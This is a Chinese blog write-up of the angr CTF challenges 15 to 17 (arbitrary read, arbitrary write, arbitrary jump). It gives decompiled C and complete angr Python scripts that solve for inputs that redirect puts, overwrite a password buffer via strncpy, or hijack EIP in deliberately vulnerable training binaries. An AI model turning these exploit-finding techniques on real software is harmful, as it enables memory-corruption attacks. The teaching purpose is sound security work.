Angr CTF从入门到入门(4)

12 篇文章 0 订阅

终于做完了angrCTF的所有题目了。
感谢这两位大佬的博客和github

https://ycdxsb.cn/
https://github.com/ZERO-A-ONE/AngrCTF_FITM

15_angr_arbitrary_read

反编译程序后:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+Ch] [ebp-1Ch]
  char *s; // [esp+1Ch] [ebp-Ch]

  s = try_again;
  print_msg();
  printf("Enter the password: ");
  __isoc99_scanf("%u %20s", &key, &v4);
  if ( key == 19511649 )
    puts(s);
  else
    puts(try_again);
  return 0;
}

介绍文档说,我们需要三步来构建脚本:

  • 搜索puts函数的调用,最终将会利用puts函数打印Good Job
  • 确定一下puts函数的第一个参数是否能被用户控制
  • 求解可以打印good job的输入

angr代码如下:

import angr
import claripy
import sys

def main(argv):
  path_to_binary = argv[1]
  project = angr.Project(path_to_binary)

  initial_state = project.factory.entry_state()

  class ReplacementScanf(angr.SimProcedure):
    # Hint: scanf("%u %20s")
    def run(self, format_string,param0,param1 ):
      # %u
      scanf0 = claripy.BVS('scanf0', 32)
      
      # %20s
      scanf1 = claripy.BVS('scanf1', 20*8)

      for char in scanf1.chop(bits=8):
        self.state.add_constraints(char >= 'A', char <= 'Z')

      scanf0_address = param0
      self.state.memory.store(scanf0_address, scanf0, endness=project.arch.memory_endness)
      scanf1_address = param1
      self.state.memory.store(scanf1_address, scanf1, endness=project.arch.memory_endness)

      self.state.globals['solution0'] = scanf0
      self.state.globals['solution1'] = scanf1

  scanf_symbol = "__isoc99_scanf"  # :string
  project.hook_symbol(scanf_symbol, ReplacementScanf())

  def check_puts(state):
  
    puts_parameter = state.memory.load(state.regs.esp+4, 4, endness=project.arch.memory_endness)


    if state.solver.symbolic(puts_parameter):

      good_job_string_address = 0x50544E47 # :integer, probably hexadecimal

      is_vulnerable_expression = puts_parameter == good_job_string_address # :boolean bitvector expression

      copied_state = state.copy()

      copied_state.add_constraints(is_vulnerable_expression)

      # Finally, we test if we can satisfy the constraints of the state.
      if copied_state.satisfiable():
        # Before we return, let's add the constraint to the solver for real.
        state.add_constraints(is_vulnerable_expression)
        return True
      else:
        return False
    else: # not state.se.symbolic(???)
      return False

  simulation = project.factory.simgr(initial_state)

  def is_successful(state):

    puts_address = 0x08048370
    if state.addr == puts_address:
      # Return True if we determine this call to puts is exploitable.
      return check_puts(state)
    else:
      # We have not yet found a call to puts; we should continue!
      return False

  simulation.explore(find=is_successful)

  if simulation.found:
    solution_state = simulation.found[0]
    scanf0 = solution_state.globals['solution0']
    scanf1 = solution_state.globals['solution1']
    solution0 = solution_state.solver.eval(scanf0)
    solution1 = solution_state.solver.eval(scanf1, cast_to=bytes)
    print("[+] Success! Solution is: {0} {1}".format(solution0, solution1[::-1]))
    #print(solution0,solution1[::-1])
  else:
    raise Exception('Could not find the solution')

if __name__ == '__main__':
  main(sys.argv)

本地结果:

在这里插入图片描述
web端结果:

在这里插入图片描述

16_angr_arbitrary_write

反编译代码:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+Ch] [ebp-1Ch]
  char *dest; // [esp+1Ch] [ebp-Ch]

  dest = unimportant_buffer;
  memset(&s, 0, 0x10u);
  strncpy(password_buffer, "PASSWORD", 0xCu);
  printf("Enter the password: ");
  __isoc99_scanf("%u %20s", &key, &s);
  if ( key == 25686682 )
    strncpy(dest, &s, 0x10u);
  else
    strncpy(unimportant_buffer, &s, 0x10u);
  if ( !strncmp(password_buffer, "KLEGGUCT", 8u) )
    puts("Good Job.");
  else
    puts("Try again.");
  return 0;
}

我们需要在二进制中找到一个地方,当strncpy调用时:

  • 控制源内容(不是源指针)
  • 控制目的指针

exp代码

# Essentially, the program does the following:
#
# scanf("%d %20s", &key, user_input);
# ...
#   // if certain unknown conditions are true...
#   strncpy(random_buffer, user_input);
# ...
# if (strncmp(secure_buffer, reference_string)) {
#   // The secure_buffer does not equal the reference string.
#   puts("Try again.");
# } else {
#   // The two are equal.
#   puts("Good Job.");
# }
#
# If this program has no bugs in it, it would _always_ print "Try again." since
# user_input copies into random_buffer, not secure_buffer.
#
# The question is: can we find a buffer overflow that will allow us to overwrite
# the random_buffer pointer to point to secure_buffer? (Spoiler: we can, but we
# will need to use Angr.)
#
# We want to identify a place in the binary, when strncpy is called, when we can:
#  1) Control the source contents (not the source pointer!)
#     * This will allow us to write arbitrary data to the destination.
#  2) Control the destination pointer
#     * This will allow us to write to an arbitrary location.
# If we can meet both of those requirements, we can write arbitrary data to an
# arbitrary location. Finally, we need to contrain the source contents to be
# equal to the reference_string and the destination pointer to be equal to the
# secure_buffer.

import angr
import claripy
import sys

def main(argv):
  path_to_binary = argv[1]
  project = angr.Project(path_to_binary)

  # You can either use a blank state or an entry state; just make sure to start
  # at the beginning of the program.
  initial_state = project.factory.entry_state()

  class ReplacementScanf(angr.SimProcedure):
    # Hint: scanf("%u %20s")
    def run(self, format_string, param0, param1):
      # %u
      scanf0 = claripy.BVS('scanf0', 4*8)
      
      # %20s
      scanf1 = claripy.BVS('scanf1', 20*8)

      for char in scanf1.chop(bits=8):
        self.state.add_constraints(char >= 'A', char <= 'Z')

      scanf0_address = param0
      self.state.memory.store(scanf0_address, scanf0, endness=project.arch.memory_endness)
      scanf1_address = param1
      self.state.memory.store(scanf1_address, scanf1)

      self.state.globals['solutions'] = (scanf0,scanf1)

  scanf_symbol = "__isoc99_scanf"  # :string
  project.hook_symbol(scanf_symbol, ReplacementScanf())

  # In this challenge, we want to check strncpy to determine if we can control
  # both the source and the destination. It is common that we will be able to
  # control at least one of the parameters, (such as when the program copies a
  # string that it received via stdin).
  def check_strncpy(state):
    # The stack will look as follows:
    # ...          ________________
    # esp + 15 -> /                \
    # esp + 14 -> |     param2     |
    # esp + 13 -> |      len       |
    # esp + 12 -> \________________/
    # esp + 11 -> /                \
    # esp + 10 -> |     param1     |
    #  esp + 9 -> |      src       |
    #  esp + 8 -> \________________/
    #  esp + 7 -> /                \
    #  esp + 6 -> |     param0     |
    #  esp + 5 -> |      dest      |
    #  esp + 4 -> \________________/
    #  esp + 3 -> /                \
    #  esp + 2 -> |     return     |
    #  esp + 1 -> |     address    |
    #      esp -> \________________/
    # (!)
    strncpy_src = state.memory.load(state.regs.esp + 8,4,endness=project.arch.memory_endness)
    strncpy_dest = state.memory.load(state.regs.esp + 4,4,endness=project.arch.memory_endness)
    strncpy_len = state.memory.load(state.regs.esp +12,4,endness=project.arch.memory_endness)
    
    # We need to find out if src is symbolic, however, we care about the
    # contents, rather than the pointer itself. Therefore, we have to load the
    # the contents of src to determine if they are symbolic.
    # Hint: How many bytes is strncpy copying?
    # (!)
    src_contents = state.memory.load(strncpy_src, strncpy_len)

    # Our goal is to determine if we can write arbitrary data to an arbitrary
    # location. This means determining if the source contents are symbolic 
    # (arbitrary data) and the destination pointer is symbolic (arbitrary
    # destination).
    # (!)
    if state.solver.symbolic(src_contents) and state.solver.symbolic(strncpy_dest):
      # Use ltrace to determine the reference string. Decompile the binary to 
      # determine the address of the buffer it checks the password against. Our 
      # goal is to overwrite that buffer to store the password.
      # (!)
      password_string = "KLEGGUCT" # :string
      buffer_address = 0x4D565A54 # :integer, probably in hexadecimal

      # Create an expression that tests if the first n bytes is length. Warning:
      # while typical Python slices (array[start:end]) will work with bitvectors,
      # they are indexed in an odd way. The ranges must start with a high value
      # and end with a low value. Additionally, the bits are indexed from right
      # to left. For example, let a bitvector, b, equal 'ABCDEFGH', (64 bits).
      # The following will read bit 0-7 (total of 1 byte) from the right-most
      # bit (the end of the string).
      #  b[7:0] == 'H'
      # To access the beginning of the string, we need to access the last 16
      # bits, or bits 48-63:
      #  b[63:48] == 'AB'
      # In this specific case, since we don't necessarily know the length of the
      # contents (unless you look at the binary), we can use the following:
      #  b[-1:-16] == 'AB', since, in Python, -1 is the end of the list, and -16
      # is the 16th element from the end of the list. The actual numbers should
      # correspond with the length of password_string.
      # (!)
      does_src_hold_password = src_contents[-1:-64] == password_string
      
      # Create an expression to check if the dest parameter can be set to
      # buffer_address. If this is true, then we have found our exploit!
      # (!)
      does_dest_equal_buffer_address = buffer_address == strncpy_dest

      # In the previous challenge, we copied the state, added constraints to the
      # copied state, and then determined if the constraints of the new state 
      # were satisfiable. Since that pattern is so common, Angr implemented a
      # parameter 'extra_constraints' for the satisfiable function that does the
      # exact same thing:
      if state.satisfiable(extra_constraints=(does_src_hold_password, does_dest_equal_buffer_address)):
        state.add_constraints(does_src_hold_password, does_dest_equal_buffer_address)
        return True
      else:
        return False
    else: # not state.se.symbolic(???)
      return False

  simulation = project.factory.simgr(initial_state)

  def is_successful(state):
    strncpy_address = 0x08048410
    if state.addr == strncpy_address:
      return check_strncpy(state)
    else:
      return False

  simulation.explore(find=is_successful)

  if simulation.found:
    solution_state = simulation.found[0]
    scanf0,scanf1 =  solution_state.globals['solutions']
    solution0 = solution_state.solver.eval(scanf0)
    solution1 = solution_state.solver.eval(scanf1,cast_to=bytes)
    solution = (solution0,solution1)
    print(solution)
  else:
    raise Exception('Could not find the solution')

if __name__ == '__main__':
  main(sys.argv)

本地结果:

在这里插入图片描述

web端结果:
在这里插入图片描述

什么时候用大小端很重要!!!

17_angr_arbitrary_jump

这个是个简单的ROP,目的就是利用read_input的漏洞来控制eip跳转到程序里的print_good函数。
反编译代码:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  printf("Enter the password: ");
  read_input();
  puts("Try again.");
  return 0;
}

exp代码:

#-*-coding:utf8-*-
import angr
import sys
import claripy

def main():
    # 前三步还是和之前一样
    path_to_binary = "17_angr_arbitrary_jump"
    project = angr.Project(path_to_binary)
    initial_state = project.factory.entry_state()
	# 这里加了save_unconstrained参数为true是防止angr丢弃掉无约束的状态
    simulation = project.factory.simgr(initial_state,save_unconstrained=True)
	# 用这个类替代scanf函数
    class ReplacementScanf(angr.SimProcedure):
        def run(self, format_string, input_buffer_address):
            input_buffer = claripy.BVS('input_buffer', 64 * 8)  # 设置一个较大的input_buffer
            
            # 过滤下字符
            for char in input_buffer.chop(bits=8):
                self.state.add_constraints(char >= 'A', char <= 'Z')

            self.state.memory.store(
                input_buffer_address, input_buffer, endness=project.arch.memory_endness)
            self.state.globals['solution'] = input_buffer
	
    scanf_symbol = '__isoc99_scanf'
    project.hook_symbol(scanf_symbol, ReplacementScanf())
    
    solution_state = None
	#检测是否找到solution
    def has_found_solution():
        return solution_state is not None
	#检测一下是否还有无约束的状态还没检查
    def has_unconstrained():
        return len(simulation.unconstrained) > 0
	# 检查一下还有哪些状态没检查
    def has_active():
        return len(simulation.active) > 0
	# 如果还有状态可以检查
    while( has_active() or has_unconstrained() ) and (not has_found_solution()) :
        
        for unconstrained_state in simulation.unconstrained:
            eip = unconstrained_state.regs.eip
            # print_good 函数的地址
            print_good_addr = 0x5A4A4644
            if( unconstrained_state.satisfiable(extra_constraints=[(eip == print_good_addr)])) :
                solution_state = unconstrained_state
                solution_state.add_constraints(eip == print_good_addr)
                break
        simulation.drop(stash="unconstrained")

        simulation.step()

    if solution_state:
        solution = solution_state.solver.eval(solution_state.globals['solution'],cast_to=bytes)
        print (solution[::-1])
    else:
        raise Exception("could not find the solution")

if __name__ == "__main__":
    main()

本地测试:

在这里插入图片描述

web端测试:

在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

破落之实

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值